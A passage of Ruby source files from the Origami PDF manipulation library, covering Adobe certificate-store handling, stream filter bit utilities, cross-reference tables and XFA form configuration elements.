@revisions.first.body[object.reference] = object object.reference end def Catalog get_object(@trailer.Root) end def save(filename) bin = "" bin << @header.to_s lastno, brange = 0, 0 xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ] xrefsection = XRef::Section.new @revisions.first.body.values.sort.each { |obj| if (obj.no - lastno).abs > 1 xrefsection << XRef::Subsection.new(brange, xrefs) brange = obj.no xrefs.clear end xrefs << XRef.new(bin.size, obj.generation, XRef::USED) lastno = obj.no bin << obj.to_s } xrefsection << XRef::Subsection.new(brange, xrefs) @xreftable = xrefsection @trailer ||= Trailer.new @trailer.Size = rev.body.size + 1 @trailer.startxref = bin.size bin << @xreftable.to_s bin << @trailer.to_s fd = File.open(filename, "w").binmode fd << bin fd.close show_entries end alias saveas save private def rebuildxrefs #:nodoc: startxref = @header.to_s.size @revisions.first.body.values.each { |object| startxref += object.to_s.size } @xreftable = buildxrefs(@revisions.first.body) @trailer ||= Trailer.new @trailer.Size = @revisions.first.body.size + 1 @trailer.startxref = startxref self end def buildxrefs(objects) #:nodoc: lastno = 0 brange = 0 xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ] xrefsection = XRef::Section.new objects.sort.each { |object| if (object.no - lastno).abs > 1 xrefsection << XRef::Subsection.new(brange, xrefs) brange = object.no xrefs.clear end xrefs << XRef.new(get_object_offset(object.no, object.generation), object.generation, XRef::USED) lastno = object.no } xrefsection << XRef::Subsection.new(brange, xrefs) xrefsection end def get_object_offset(no,generation) #:nodoc: bodyoffset = @header.to_s.size objectoffset = bodyoffset @revisions.first.body.values.each { |object| if object.no == no and object.generation == generation then return objectoffset else objectoffset += object.to_s.size end } nil end end end origami-pdf-1.2.7/lib/origami/extensions/ppklite.rb0000644000175000017500000003123312101464040022514 0ustar terceiroterceiro=begin = File formats/ppklite.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'origami/object' require 'origami/name' require 'origami/dictionary' require 'origami/reference' require 'origami/boolean' require 'origami/numeric' require 'origami/string' require 'origami/array' require 'origami/trailer' require 'origami/xreftable' require 'origami/parsers/ppklite' require 'openssl' module Origami module Adobe # # Class representing an Adobe Reader certificate store. # class PPKLite # # Class representing a certificate store header. # class Header MAGIC = /\A%PPKLITE-(\d)\.(\d)/ attr_accessor :majorversion, :minorversion # # Creates a file header, with the given major and minor versions. # _majorversion_:: Major version. # _minorversion_:: Minor version. # def initialize(majorversion = 2, minorversion = 1) @majorversion, @minorversion = majorversion, minorversion end def self.parse(stream) #:nodoc: if not stream.scan(MAGIC).nil? maj = stream[1].to_i min = stream[2].to_i else raise InvalidHeader, "Invalid header format" end PPKLite::Header.new(maj,min) end # # Outputs self into PDF code. # def to_s "%PPKLITE-#{@majorversion}.#{@minorversion}" + EOL end def to_sym #:nodoc: "#{@majorversion}.#{@minorversion}".to_sym end def to_f #:nodoc: to_sym.to_s.to_f end end class Revision #:nodoc; attr_accessor :pdf attr_accessor :body, :xreftable, :trailer def initialize(adbk) @pdf = adbk @body = {} @xreftable = nil @trailer = nil end def trailer=(trl) trl.pdf = @pdf @trailer = trl end end attr_accessor :header, :revisions def initialize #:nodoc: @header = PPKLite::Header.new @revisions = [ Revision.new(self) ] @revisions.first.trailer = Trailer.new end def objects def append_subobj(root, objset) if objset.find{ |o| o.object_id == root.object_id }.nil? objset << root if root.is_a?(Array) or root.is_a?(Dictionary) root.each { |subobj| append_subobj(subobj, objset) unless subobj.is_a?(Reference) } end end end objset = [] @revisions.first.body.values.each do |object| unless object.is_a?(Reference) append_subobj(object, objset) end end objset end def <<(object) object.set_indirect(true) if object.no.zero? maxno = 1 while get_object(maxno) do maxno = maxno.succ end object.generation = 0 object.no = maxno end @revisions.first.body[object.reference] = object object.reference end def Catalog get_object(@trailer.Root) end def save(filename) bin = "" bin << @header.to_s lastno, brange = 0, 0 xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ] xrefsection = XRef::Section.new @revisions.first.body.values.sort.each { |obj| if (obj.no - lastno).abs > 1 xrefsection << XRef::Subsection.new(brange, xrefs) brange = obj.no xrefs.clear end xrefs << XRef.new(bin.size, obj.generation, XRef::USED) lastno = obj.no bin << obj.to_s } xrefsection << XRef::Subsection.new(brange, xrefs) @xreftable = xrefsection @trailer ||= Trailer.new @trailer.Size = rev.body.size + 1 @trailer.startxref = bin.size bin << @xreftable.to_s bin << @trailer.to_s fd = File.open(filename, "w").binmode fd << bin fd.close show_entries end alias saveas save # # Prints registered users in the address book # def show_users puts "----------" puts "Users list" puts "----------" @revisions.first.body.values.each { |obj| if obj.is_a?(User) then obj.show; puts end } nil end # # Prints registered certificates in the addressbook # def show_certs puts "-----------------" puts "Certificates list" puts "-----------------" @revisions.first.body.values.each { |obj| if obj.is_a?(Certificate) then obj.show; puts end } nil end # # Prints certificate with the specified id # def show_cert(id) @revisions.first.body.values.find_all { |obj| obj.is_a?(Certificate) and obj.ID == id }.each do |cert| cert.show puts end nil end # # Returns a Certificate dictionary corresponding to the specified id # def get_cert(id) @revisions.first.body.values.find { |obj| obj.is_a?(Certificate) and obj.ID == id } end def show_user(id) users = @revisions.first.body.values.find_all { |obj| obj.is_a?(User) and obj.ID == id }.each do |user| user.show puts end nil end # # Prints users and certificates registered in the address book # def show_entries show_users show_certs puts "End of address book." end # # Add a certificate into the address book # def add_certificate(certfile, attributes, viewable = false, editable = false) cert = Certificate.new cert.Cert = OpenSSL::X509::Certificate.new(certfile).to_der cert.ID = self.Catalog.PPK.AddressBook.NextID self.Catalog.PPK.AddressBook.NextID += 1 cert.Trust = attributes cert.Viewable = viewable cert.Editable = editable self.Catalog.PPK.AddressBook.Entries.push(self << cert) show_certs end alias to_s show_entries alias to_str show_entries class Catalog < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Catalog, :Required => true field :PPK, :Type => Dictionary, :Required => true def initialize(hash = {}) #:nodoc: super(hash) end end class PPK < Dictionary include StandardObject field :Type, :Type => Name, :Default => :PPK, :Required => true field :User, :Type => Dictionary, :Required => true field :AddressBook, :Type => Dictionary, :Required => true field :V, :Type => Integer, :Default => 0x10001, :Required => true def initialize(hash = {}) #:nodoc: super(hash) end end class UserList < Dictionary include StandardObject field :Type, :Type => Name, :Default => :User, :Required => true def initialize(hash = {}) super(hash) end end class AddressList < Dictionary include StandardObject field :Type, :Type => Name, :Default => :AddressBook, :Required => true field :NextID, :Type => Integer field :Entries, :Type => Array, :Default => [], :Required => true def initialize(hash = {}) #:nodoc: super(hash) end end module Descriptor CERTIFICATE = 1 USER = 2 def self.included(receiver) #:nodoc: receiver.field :ID, :Type => Integer, :Required => true receiver.field :ABEType, :Type => Integer, :Default => Descriptor::CERTIFICATE, :Required => true end def initialize(hash = {}) #:nodoc: super(hash) end end class User < Dictionary include StandardObject include Descriptor field :ABEType, :Type => Integer, :Default => Descriptor::USER, :Required => true field :Name, :Type => String, :Required => true field :Encrypt, :Type => Integer field :Certs, :Type => Array, :Default => [], :Required => true def show puts "ID: #{self.ID}" puts "Name: #{self.Name}" puts "Certificates: " + self.Certs.join(", ") end end class Certificate < Dictionary include StandardObject include Descriptor module Flags CAN_CERTIFY = 1 << 1 ALLOW_DYNAMIC_CONTENT = 1 << 2 UNKNOWN_1 = 1 << 3 ALLOW_HIGH_PRIV_JS = 1 << 4 UNKNOWN_2 = 1 << 5 IS_ROOT_CA = 1 << 6 #~ FULL_TRUST = 1 << 1 | 1 << 2 | 1 << 3 | 1 << 4 | 1 << 5 | 1 << 6 FULL_TRUST = 8190 end field :ABEType, :Type => Integer, :Default => Descriptor::CERTIFICATE, :Required => true field :Usage, :Type => Integer, :Default => 1, :Required => true field :Viewable, :Type => Boolean, :Default => true field :Editable, :Type => Boolean, :Default => true field :Cert, :Type => String, :Required => true field :Trust, :Type => Integer, :Default => Flags::UNKNOWN_2, :Required => true def show puts "ID: #{self.ID}" puts "Viewable: #{self.Viewable}" puts "Editable: #{self.Editable}" puts "Trust attributes: #{self.Trust}" end end def get_object(no, generation = 0) #:nodoc: case no when Reference target = no when ::Integer target = Reference.new(no, generation) when Origami::Object return no end @revisions.first.body[target] end private def rebuildxrefs #:nodoc: startxref = @header.to_s.size @revisions.first.body.values.each { |object| startxref += object.to_s.size } @xreftable = buildxrefs(@revisions.first.body) @trailer ||= Trailer.new @trailer.Size = @revisions.first.body.size + 1 @trailer.startxref = startxref self end def buildxrefs(objects) #:nodoc: lastno = 0 brange = 0 xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ] xrefsection = XRef::Section.new objects.sort.each { |object| if (object.no - lastno).abs > 1 xrefsection << XRef::Subsection.new(brange, xrefs) brange = object.no xrefs.clear end xrefs << XRef.new(get_object_offset(object.no, object.generation), object.generation, XRef::USED) lastno = object.no } xrefsection << XRef::Subsection.new(brange, xrefs) xrefsection end def get_object_offset(no,generation) #:nodoc: bodyoffset = @header.to_s.size objectoffset = bodyoffset @revisions.first.body.values.each { |object| if object.no == no and object.generation == generation then return objectoffset else objectoffset += object.to_s.size end } nil end end end end origami-pdf-1.2.7/lib/origami/filters.rb0000644000175000017500000002015712140763267020340 0ustar terceiroterceiro=begin = File filters.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami # # Filters are algorithms used to encode data into a PDF Stream. # module Filter class InvalidFilterDataError < Exception # :nodoc: attr_reader :decoded_data def initialize(message, decoded_data = nil) super(message) @decoded_data = decoded_data end end module Utils class BitWriterError < Exception #:nodoc: end # # Class used to forge a String from a stream of bits. # Internally used by some filters. # class BitWriter def initialize @data = '' @last_byte = nil @ptr_bit = 0 end # # Writes _data_ represented as Fixnum to a _length_ number of bits. # def write(data, length) return BitWriterError, "Invalid data length" unless length > 0 and (1 << length) > data # optimization for aligned byte writing if length == 8 and @last_byte.nil? and @ptr_bit == 0 @data << data.chr return self end while length > 0 if length >= 8 - @ptr_bit length -= 8 - @ptr_bit @last_byte ||= 0 @last_byte |= (data >> length) & ((1 << (8 - @ptr_bit)) - 1) data &= (1 << length) - 1 @data << @last_byte.chr @last_byte = nil @ptr_bit = 0 else @last_byte ||= 0 @last_byte |= (data & ((1 << length) - 1)) << (8 - @ptr_bit - length) @ptr_bit += length if @ptr_bit == 8 @data << @last_byte.chr @last_byte = nil @ptr_bit = 0 end length = 0 end end self end # # Returns the data size in bits. # def size (@data.size << 3) + @ptr_bit end # # Finalizes the stream. # def final @data << @last_byte.chr if @last_byte @last_byte = nil @p = 0 self end # # Outputs the stream as a String. # def to_s @data.dup end end class BitReaderError < Exception #:nodoc: end # # Class used to read a String as a stream of bits. # Internally used by some filters. # class BitReader BRUIJIN_TABLE = ::Array.new(32) BRUIJIN_TABLE.size.times { |i| BRUIJIN_TABLE[((0x77cb531 * (1 << i)) >> 27) & 31] = i } def initialize(data) @data = data reset end # # Resets the read pointer. # def reset @ptr_byte, @ptr_bit = 0, 0 self end # # Returns true if end of data has been reached. # def eod? @ptr_byte >= @data.size end # # Returns the read pointer position in bits. # def pos (@ptr_byte << 3) + @ptr_bit end # # Returns the data size in bits. # def size @data.size << 3 end # # Sets the read pointer position in bits. # def pos=(bits) raise BitReaderError, "Pointer position out of data" if bits > self.size pbyte = bits >> 3 pbit = bits - (pbyte << 3) @ptr_byte, @ptr_bit = pbyte, pbit bits end # # Reads _length_ bits as a Fixnum and advances read pointer. # def read(length) n = self.peek(length) self.pos += length n end # # Reads _length_ bits as a Fixnum. Does not advance read pointer. # def peek(length) return BitReaderError, "Invalid read length" unless length > 0 return BitReaderError, "Insufficient data" if self.pos + length > self.size n = 0 ptr_byte, ptr_bit = @ptr_byte, @ptr_bit while length > 0 byte = @data[ptr_byte].ord if length > 8 - ptr_bit length -= 8 - ptr_bit n |= ( byte & ((1 << (8 - ptr_bit)) - 1) ) << length ptr_byte += 1 ptr_bit = 0 else n |= (byte >> (8 - ptr_bit - length)) & ((1 << length) - 1) length = 0 end end n end # # Used for bit scanning. # Counts leading zeros. Does not advance read pointer. # def clz count = 0 if @ptr_bit != 0 bits = peek(8 - @ptr_bit) count = clz32(bits << (32 - (8 - @ptr_bit))) return count if count < (8 - @ptr_bit) end delta = 0 while @data.size > @ptr_byte + delta * 4 word = @data[@ptr_byte + delta * 4, 4] # next 32 bits z = clz32((word << (4 - word.size)).unpack("N")[0]) count += z delta += 1 return count if z < 32 - ((4 - word.size) << 3) end count end # # Used for bit scanning. # Count leading ones. Does not advance read pointer. # def clo count = 0 if @ptr_bit != 0 bits = peek(8 - @ptr_bit) count = clz32(~(bits << (32 - (8 - @ptr_bit))) & 0xff) return count if count < (8 - @ptr_bit) end delta = 0 while @data.size > @ptr_byte + delta * 4 word = @data[@ptr_byte + delta * 4, 4] # next 32 bits z = clz32(~((word << (4 - word.size)).unpack("N")[0]) & 0xffff_ffff) count += z delta += 1 return count if z < 32 - ((4 - word.size) << 3) end count end private def bitswap8(i) #:nodoc ((i * 0x0202020202) & 0x010884422010) % 1023 end def bitswap32(i) #:nodoc: (bitswap8((i >> 0) & 0xff) << 24) | (bitswap8((i >> 8) & 0xff) << 16) | (bitswap8((i >> 16) & 0xff) << 8) | (bitswap8((i >> 24) & 0xff) << 0) end def ctz32(i) #:nodoc: if i == 0 then 32 else BRUIJIN_TABLE[(((i & -i) * 0x77cb531) >> 27) & 31] end end def clz32(i) #:nodoc: ctz32 bitswap32 i end end end module ClassMethods # # Decodes the given data. # _stream_:: The data to decode. # def decode(stream, params = {}) self.new(params).decode(stream) end # # Encodes the given data. # _stream_:: The data to encode. # def encode(stream, params = {}) self.new(params).encode(stream) end end def initialize(parameters = {}) @params = parameters end def self.included(receiver) receiver.extend(ClassMethods) end end end require 'origami/filters/ascii' require 'origami/filters/lzw' require 'origami/filters/flate' require 'origami/filters/runlength' require 'origami/filters/ccitt' require 'origami/filters/dct' require 'origami/filters/jbig2' require 'origami/filters/jpx' require 'origami/filters/crypt' origami-pdf-1.2.7/lib/origami/xreftable.rb0000644000175000017500000002513412101464040020624 0ustar terceiroterceiro=begin = File xreftable.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF # # Tries to strip any xrefs information off the document. # def remove_xrefs def delete_xrefstm(xrefstm) prev = xrefstm.Prev delete_object(xrefstm.reference) if prev.is_a?(Integer) and (prev_stm = get_object_by_offset(prev)).is_a?(XRefStream) delete_xrefstm(prev_stm) end end @revisions.reverse_each do |rev| if rev.has_xrefstm? delete_xrefstm(rev.xrefstm) end if rev.trailer.has_dictionary? and rev.trailer.XRefStm.is_a?(Integer) xrefstm = get_object_by_offset(rev.trailer.XRefStm) delete_xrefstm(xrefstm) if xrefstm.is_a?(XRefStream) end rev.xrefstm = rev.xreftable = nil end end end class InvalidXRefError < Exception #:nodoc: end # # Class representing a Cross-reference information. # class XRef FREE = "f" USED = "n" FIRSTFREE = 65535 @@regexp = /(\d{10}) (\d{5}) (n|f)(\r\n| \r| \n)/ attr_accessor :offset, :generation, :state # # Creates a new XRef. # _offset_:: The file _offset_ of the referenced Object. # _generation_:: The generation number of the referenced Object. # _state_:: The state of the referenced Object (FREE or USED). # def initialize(offset, generation, state) @offset, @generation, @state = offset, generation, state end def self.parse(stream) #:nodoc: if stream.scan(@@regexp).nil? raise InvalidXRefError, "Invalid XRef format" end offset = stream[1].to_i generation = stream[2].to_i state = stream[3] XRef.new(offset, generation, state) end # # Outputs self into PDF code. # def to_s off = ("0" * (10 - @offset.to_s.length)) + @offset.to_s gen = ("0" * (5 - @generation.to_s.length)) + @generation.to_s "#{off} #{gen} #{@state}" + EOL end def to_xrefstm_data(type_w, field1_w, field2_w) type_w <<= 3 field1_w <<= 3 field2_w <<= 3 type = ((@state == FREE) ? "\000" : "\001").unpack("B#{type_w}")[0] offset = @offset.to_s(2) offset = '0' * (field1_w - offset.size) + offset generation = @generation.to_s(2) generation = '0' * (field2_w - generation.size) + generation [ type , offset, generation ].pack("B#{type_w}B#{field1_w}B#{field2_w}") end class InvalidXRefSubsectionError < Exception #:nodoc: end # # Class representing a cross-reference subsection. # A subsection contains a continute set of XRef. # class Subsection @@regexp = Regexp.new("(\\d+) (\\d+)" + WHITESPACES + "(\\r?\\n|\\r\\n?)") attr_reader :range # # Creates a new XRef subsection. # _start_:: The number of the first object referenced in the subsection. # _entries_:: An array of XRef. # def initialize(start, entries = []) @entries = entries.dup @range = Range.new(start, start + entries.size - 1) end def self.parse(stream) #:nodoc: if stream.scan(@@regexp).nil? raise InvalidXRefSubsectionError, "Bad subsection format" end start = stream[1].to_i size = stream[2].to_i xrefs = [] size.times do xrefs << XRef.parse(stream) end XRef::Subsection.new(start, xrefs) end # # Returns whether this subsection contains information about a particular object. # _no_:: The Object number. # def has_object?(no) @range.include?(no) end # # Returns XRef associated with a given object. # _no_:: The Object number. # def [](no) @entries[no - @range.begin] end # # Processes each XRef in the subsection. # def each(&b) @entries.each(&b) end # # Outputs self into PDF code. # def to_s section = "#{@range.begin} #{@range.end - @range.begin + 1}" + EOL @entries.each { |xref| section << xref.to_s } section end end class InvalidXRefSectionError < Exception #:nodoc: end # # Class representing a Cross-reference table. # A section contains a set of XRefSubsection. # class Section @@regexp_open = Regexp.new(WHITESPACES + "xref" + WHITESPACES + "(\\r?\\n|\\r\\n?)") @@regexp_sub = Regexp.new("(\\d+) (\\d+)" + WHITESPACES + "(\\r?\\n|\\r\\n?)") # # Creates a new XRef section. # _subsections_:: An array of XRefSubsection. # def initialize(subsections = []) @subsections = subsections end def self.parse(stream) #:nodoc: if stream.skip(@@regexp_open).nil? raise InvalidXRefSectionError, "No xref token found" end subsections = [] while stream.match?(@@regexp_sub) do subsections << XRef::Subsection.parse(stream) end XRef::Section.new(subsections) end # # Appends a new subsection. # _subsection_:: A XRefSubsection. # def <<(subsection) @subsections << subsection end # # Returns a XRef associated with a given object. # _no_:: The Object number. # def [](no) @subsections.each { |s| return s[no] if s.has_object?(no) } nil end alias :find :[] # # Processes each XRefSubsection. # def each(&b) @subsections.each(&b) end # # Outputs self into PDF code. # def to_s "xref" << EOL << @subsections.join end end end # # An xref poiting to an Object embedded in an ObjectStream. # class XRefToCompressedObj attr_accessor :objstmno, :index def initialize(objstmno, index) @objstmno = objstmno @index = index end def to_xrefstm_data(type_w, field1_w, field2_w) type_w <<= 3 field1_w <<= 3 field2_w <<= 3 type = "\002".unpack("B#{type_w}")[0] objstmno = @objstmno.to_s(2) objstmno = '0' * (field1_w - objstmno.size) + objstmno index = @index.to_s(2) index = '0' * (field2_w - index.size) + index [ type , objstmno, index ].pack("B#{type_w}B#{field1_w}B#{field2_w}") end end class InvalidXRefStreamObjectError < InvalidStreamObjectError ; end # # Class representing a XRef Stream. # class XRefStream < Stream XREF_FREE = 0 XREF_USED = 1 XREF_COMPRESSED = 2 include Enumerable include StandardObject # # Xref fields # field :Type, :Type => Name, :Default => :XRef, :Required => true, :Version => "1.5" field :Size, :Type => Integer, :Required => true field :Index, :Type => Array field :Prev, :Type => Integer field :W, :Type => Array, :Required => true # # Trailer fields # field :Root, :Type => Dictionary, :Required => true field :Encrypt, :Type => Dictionary field :Info, :Type => Dictionary field :ID, :Type => Array def initialize(data = "", dictionary = {}) super(data, dictionary) @xrefs = nil end def entries load! if @xrefs.nil? @xrefs end # # Returns XRef entries present in this stream. # def pre_build #:nodoc: load! if @xrefs.nil? self.W = [ 1, 2, 2 ] unless has_field?(:W) self.Size = @xrefs.length + 1 save! super end # # Adds an XRef to this Stream. # def <<(xref) load! if @xrefs.nil? @xrefs << xref end # # Iterates over each XRef present in the stream. # def each(&b) load! if @xrefs.nil? @xrefs.each(&b) end # # Returns an XRef matching this object number. # def find(no) load! if @xrefs.nil? ranges = self.Index || [ 0, @xrefs.length ] index = 0 (ranges.size / 2).times do |i| brange = ranges[i*2].to_i size = ranges[i*2+1].to_i return @xrefs[index + no - brange] if Range.new(brange, brange + size - 1) === no index += size end nil end def clear self.data = '' @xrefs = [] self.Index = [] end private def load! #:nodoc: if @xrefs.nil? and has_field?(:W) widths = self.W if not widths.is_a?(Array) or widths.length != 3 or widths.any?{|width| not width.is_a?(Integer) } raise InvalidXRefStreamObjectError, "W field must be an array of 3 integers" end decode! type_w = self.W[0] field1_w = self.W[1] field2_w = self.W[2] entrymask = "B#{type_w << 3}B#{field1_w << 3}B#{field2_w << 3}" size = @data.size / (type_w + field1_w + field2_w) xentries = @data.unpack(entrymask * size).map!{|field| field.to_i(2) } @xrefs = [] size.times do |i| type,field1,field2 = xentries[i*3].ord,xentries[i*3+1].ord,xentries[i*3+2].ord case type when XREF_FREE @xrefs << XRef.new(field1, field2, XRef::FREE) when XREF_USED @xrefs << XRef.new(field1, field2, XRef::USED) when XREF_COMPRESSED @xrefs << XRefToCompressedObj.new(field1, field2) end end else @xrefs = [] end end def save! #:nodoc: self.data = "" type_w, field1_w, field2_w = self.W @xrefs.each do |xref| @data << xref.to_xrefstm_data(type_w, field1_w, field2_w) end encode! end end end origami-pdf-1.2.7/lib/origami/xfa.rb0000644000175000017500000024157012101464040017432 0ustar terceiroterceiro=begin = File xfa.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'rexml/document' module Origami class PDF def create_xfa_form(xdp, *fields) acroform = create_acroform(*fields) acroform.XFA = Stream.new(xdp, :Filter => :FlateDecode) acroform end end module XFA class XFAError < Exception #:nodoc: end module ClassMethods def xfa_attribute(name) read_xml_attr = lambda { return self.attributes[name.to_s] } write_xml_attr = lambda { |value| self.attributes[name.to_s] = value } send(:define_method, "attr_#{name.to_s}", read_xml_attr) send(:define_method, "attr_#{name.to_s}=", write_xml_attr) end def xfa_node(name, type, range = (0..(1.0/0))) add_child = lambda { |*attr| elt = self.add_element(type.new) unless attr.empty? attr.first.each do |k,v| elt.attributes[k.to_s] = v end end return elt } send(:define_method, "add_#{name}", add_child) end def mime_type(type) send(:define_method, "mime_type") { return type } end end def self.included(receiver) receiver.extend(ClassMethods) end class Element < REXML::Element include XFA end end module XDP module Packet # # This packet encloses the configuration settings. # class Config < XFA::Element mime_type 'text/xml' def initialize super("config") add_attribute 'xmlns:xfa', 'http://www.xfa.org/schema/xci/3.0/' end class URI < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(uri = "") super('uri') self.text = uri end end class Debug < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_node 'uri', Config::URI, 0..1 def initialize super('debug') end end class AdjustData < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(coercion = "0") super('adjustData') self.text = coercion end end class Attributes < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' PRESERVE = "preserve" DELEGATE = "delegate" IGNORE = "ignore" def initialize(attr = PRESERVE) super('attributes') self.text = attr end end class IncrementalLoad < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' NONE = "none" FORWARDONLY = "forwardOnly" def initialize(incload = NONE) super('incrementalLoad') self.text = incload end end class Locale < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(locale = "") super('locale') self.text = locale end end class LocaleSet < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(uri = "") super('localeSet') self.text = uri end end class OutputXSL < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_node 'uri', Config::URI, 0..1 def initialize super('outputXSL') end end class Range < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(range = "") super('range') self.text = range end end class Record < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(record = "") super('record') self.text = "" end end class StartNode < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(somexpr = "") super('startNode') self.text = somexpr end end class Window < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(win = "0") super('window') self.text = win end end class XSL < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_node 'debug', Config::Debug, 0..1 xfa_node 'uri', Config::URI, 0..1 def initialize super('xsl') end end class ExcludeNS < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(ns = "") super('excludeNS') self.text = ns end end class GroupParent < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(parentname = "") super('groupParent') self.text = parentname end end class IfEmpty < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' DATAVALUE = "dataValue" DATAGROUP = "dataGroup" IGNORE = "ignore" REMOVE = "remove" def initialize(default = DATAVALUE) super('ifEmpty') self.text = default end end class NameAttr < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(name) super('nameAttr') self.text = name end end class Picture < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(clause = "") super('picture') self.text = clause end end class Presence < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' PRESERVE = "preserve" DISSOLVE = "dissolve" DISSOLVESTRUCTURE = "dissolveStructure" IGNORE = "ignore" REMOVE = "remove" def initialize(action = PRESERVE) super('presence') self.text = action end end class Rename < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(nodename = "") super('rename') self.text = nodename end end class Whitespace < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' PRESERVE = "preserve" LTRIM = "ltrim" NORMALIZE = "normalize" RTRIM = "rtrim" TRIM = "trim" def initialize(action = PRESERVE) super('whitespace') self.text = action end end class Transform < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_attribute 'ref' xfa_node 'groupParent', Config::GroupParent, 0..1 xfa_node 'ifEmpty', Config::IfEmpty, 0..1 xfa_node 'nameAttr', Config::NameAttr, 0..1 xfa_node 'picture', Config::Picture, 0..1 xfa_node 'presence', Config::Presence, 0..1 xfa_node 'rename', Config::Rename, 0..1 xfa_node 'whitespace', Config::Whitespace, 0..1 end class Data < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_node 'adjustData', Config::AdjustData, 0..1 xfa_node 'attributes', Config::Attributes, 0..1 xfa_node 'incrementalLoad', Config::IncrementalLoad, 0..1 xfa_node 'outputXSL', Config::OutputXSL, 0..1 xfa_node 'range', Config::Range, 0..1 xfa_node 'record', Config::Record, 0..1 xfa_node 'startNode', Config::StartNode, 0..1 xfa_node 'uri', Config::URI, 0..1 xfa_node 'window', Config::Window, 0..1 xfa_node 'xsl', Config::XSL, 0..1 xfa_node 'excludeNS', Config::ExcludeNS xfa_node 'transform', Config::Transform def initialize super('data') end end class Severity < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' IGNORE = "ignore" ERROR = "error" INFORMATION = "information" TRACE = "trace" WARNING = "warning" def initialize(level = IGNORE) super('severity') self.text = level end end class MsgId < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(uid = "1") super('msgId') self.text = uid end end class Message < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_node 'msgId', Config::MsgId, 0..1 xfa_node 'severity', Config::Severity, 0..1 def initialize super('message') end end class Messaging < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_node 'message', Config::Message def initialize super('messaging') end end class SuppressBanner < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' ALLOWED = "0" DENIED = "1" def initialize(display = ALLOWED) super('suppressBanner') self.text = display end end class Base < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(uri = "") super('base') self.text = uri end end class Relevant < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(token = "") super('relevant') self.text = token end end class StartPage < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' def initialize(pagenum = "0") super('startPage') self.text = pagenum end end class Template < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' xfa_node 'base', Config::Base, 0..1 xfa_node 'relevant', Config::Relevant, 0..1 xfa_node 'startPage', Config::StartPage, 0..1 xfa_node 'uri', Config::URI, 0..1 xfa_node 'xsl', Config::XSL, 0..1 def initialize super('template') end end class ValidationMessaging < XFA::Element xfa_attribute 'desc' xfa_attribute 'lock' ALL_INDIVIDUALLY = "allMessagesIndividually" ALL_TOGETHER = "allMessagesTogether" FIRST_ONLY = "firstMessageOnly" NONE = "noMessages" def initialize(validate = 